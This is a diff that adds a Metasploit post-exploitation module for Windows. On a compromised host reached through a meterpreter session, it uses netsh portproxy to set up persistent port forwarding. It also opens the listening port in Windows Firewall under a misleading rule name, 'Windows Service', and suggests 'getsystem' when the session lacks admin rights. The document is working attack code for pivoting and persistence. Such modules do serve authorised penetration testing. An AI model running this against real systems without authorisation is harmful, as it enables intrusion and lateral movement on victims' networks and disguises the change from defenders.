1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ class Metasploit3 < Msf ::Post
9
+
10
+ include Msf ::Post ::Windows ::Priv
11
+ include Msf ::Post ::Common
12
+
13
+ def initialize ( info = { } )
14
+ super ( update_info ( info ,
15
+ 'Name' => 'Windows Manage Set Port Forwarding With PortProxy' ,
16
+ 'Description' => %q{
17
+ This module uses the PortProxy interface from netsh to set up
18
+ port forwarding persistently (even after reboot). PortProxy
19
+ supports TCP IPv4 and IPv6 connections.
20
+ } ,
21
+ 'License' => MSF_LICENSE ,
22
+ 'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>' ] ,
23
+ 'Platform' => [ 'windows' ] ,
24
+ 'SessionTypes' => [ 'meterpreter' ]
25
+ ) )
26
+
27
+ register_options (
28
+ [
29
+ OptAddress . new ( 'LOCAL_ADDRESS' , [ true , 'IPv4/IPv6 address to which to listen.' ] ) ,
30
+ OptAddress . new ( 'CONNECT_ADDRESS' , [ true , 'IPv4/IPv6 address to which to connect.' ] ) ,
31
+ OptPort . new ( 'CONNECT_PORT' , [ true , 'Port number to which to connect.' ] ) ,
32
+ OptPort . new ( 'LOCAL_PORT' , [ true , 'Port number to which to listen.' ] ) ,
33
+ OptBool . new ( 'IPV6_XP' , [ true , 'Install IPv6 on Windows XP (needed for v4tov4).' , true ] ) ,
34
+ OptEnum . new ( 'TYPE' , [ true , 'Type of forwarding' , 'v4tov4' , [ 'v4tov4' , 'v6tov6' , 'v6tov4' , 'v4tov6' ] ] )
35
+ ] , self . class )
36
+ end
37
+
38
+ def run
39
+ if not is_admin?
40
+ print_error ( "You don't have enough privileges. Try getsystem." )
41
+ return
42
+ end
43
+
44
+ # Due to a bug in Windows XP you need to install IPv6
45
+ # http://support.microsoft.com/kb/555744/en-us
46
+ if sysinfo [ "OS" ] =~ /XP/
47
+ return unless check_ipv6
48
+ end
49
+
50
+ return unless enable_portproxy
51
+ fw_enable_ports
52
+
53
+ end
54
+
55
+ def enable_portproxy
56
+ rtable = Rex ::Ui ::Text ::Table . new (
57
+ 'Header' => 'Port Forwarding Table' ,
58
+ 'Indent' => 3 ,
59
+ 'Columns' => [ 'LOCAL IP' , 'LOCAL PORT' , 'REMOTE IP' , 'REMOTE PORT' ]
60
+ )
61
+
62
+ print_status ( "Setting PortProxy ..." )
63
+ netsh_args = "interface portproxy "
64
+ netsh_args << "add #{ datastore [ 'TYPE' ] } "
65
+ netsh_args << "listenport=#{ datastore [ 'LOCAL_PORT' ] } "
66
+ netsh_args << "listenaddress=#{ datastore [ 'LOCAL_ADDRESS' ] } "
67
+ netsh_args << "connectport=#{ datastore [ 'CONNECT_PORT' ] } "
68
+ netsh_args << "connectaddress=#{ datastore [ 'CONNECT_ADDRESS' ] } "
69
+ output = cmd_exec ( "netsh" , netsh_args )
70
+ if output . size > 2
71
+ print_error ( "Setup error. Verify parameters and syntax." )
72
+ return false
73
+ else
74
+ print_good ( "PortProxy added." )
75
+ end
76
+
77
+ output = cmd_exec ( "netsh" , "interface portproxy show all" )
78
+ output . each_line do |l |
79
+ rtable << l . split ( " " ) if l . strip =~ /^[0-9]|\* /
80
+ end
81
+ print_status ( rtable . to_s )
82
+ return true
83
+ end
84
+
85
+ def ipv6_installed ( )
86
+ output = cmd_exec ( "netsh" , "interface ipv6 show interface" )
87
+ if output . lines . count > 2
88
+ return true
89
+ else
90
+ return false
91
+ end
92
+ end
93
+
94
+ def check_ipv6
95
+ if ipv6_installed
96
+ print_status ( "IPv6 is already installed." )
97
+ return true
98
+ elsif not datastore [ 'IPV6_XP' ]
99
+ print_error ( "IPv6 is not installed. You need IPv6 to use portproxy." )
100
+ print_status ( "IPv6 can be installed with \" netsh interface ipv6 install\" " )
101
+ return false
102
+ else
103
+ print_status ( "Installing IPv6... can take a little long" )
104
+ cmd_exec ( "netsh" , "interface ipv6 install" , 120 )
105
+ if not ipv6_installed
106
+ print_error ( "IPv6 was not successfully installed. Run it again." )
107
+ return false
108
+ end
109
+ print_good ( "IPv6 was successfully installed." )
110
+ return true
111
+ end
112
+ end
113
+
114
+ def fw_enable_ports
115
+ print_status ( "Setting port #{ datastore [ 'LOCAL_PORT' ] } in Windows Firewall ..." )
116
+ if sysinfo [ "OS" ] =~ /Windows 7|Vista|2008|2012/
117
+ cmd_exec ( "netsh" , "advfirewall firewall add rule name=\" Windows Service\" dir=in protocol=TCP action=allow localport=\" #{ datastore [ 'LOCAL_PORT' ] } \" " )
118
+ else
119
+ cmd_exec ( "netsh" , "firewall set portopening protocol=TCP port=\" #{ datastore [ 'LOCAL_PORT' ] } \" " )
120
+ end
121
+ output = cmd_exec ( "netsh" , "firewall show state" )
122
+
123
+ if output =~ /^#{ datastore [ 'LOCAL_PORT' ] } /
124
+ print_good ( "Port opened in Windows Firewall." )
125
+ else
126
+ print_error ( "There was an error enabling the port." )
127
+ end
128
+ end
129
+ end
0 commit comments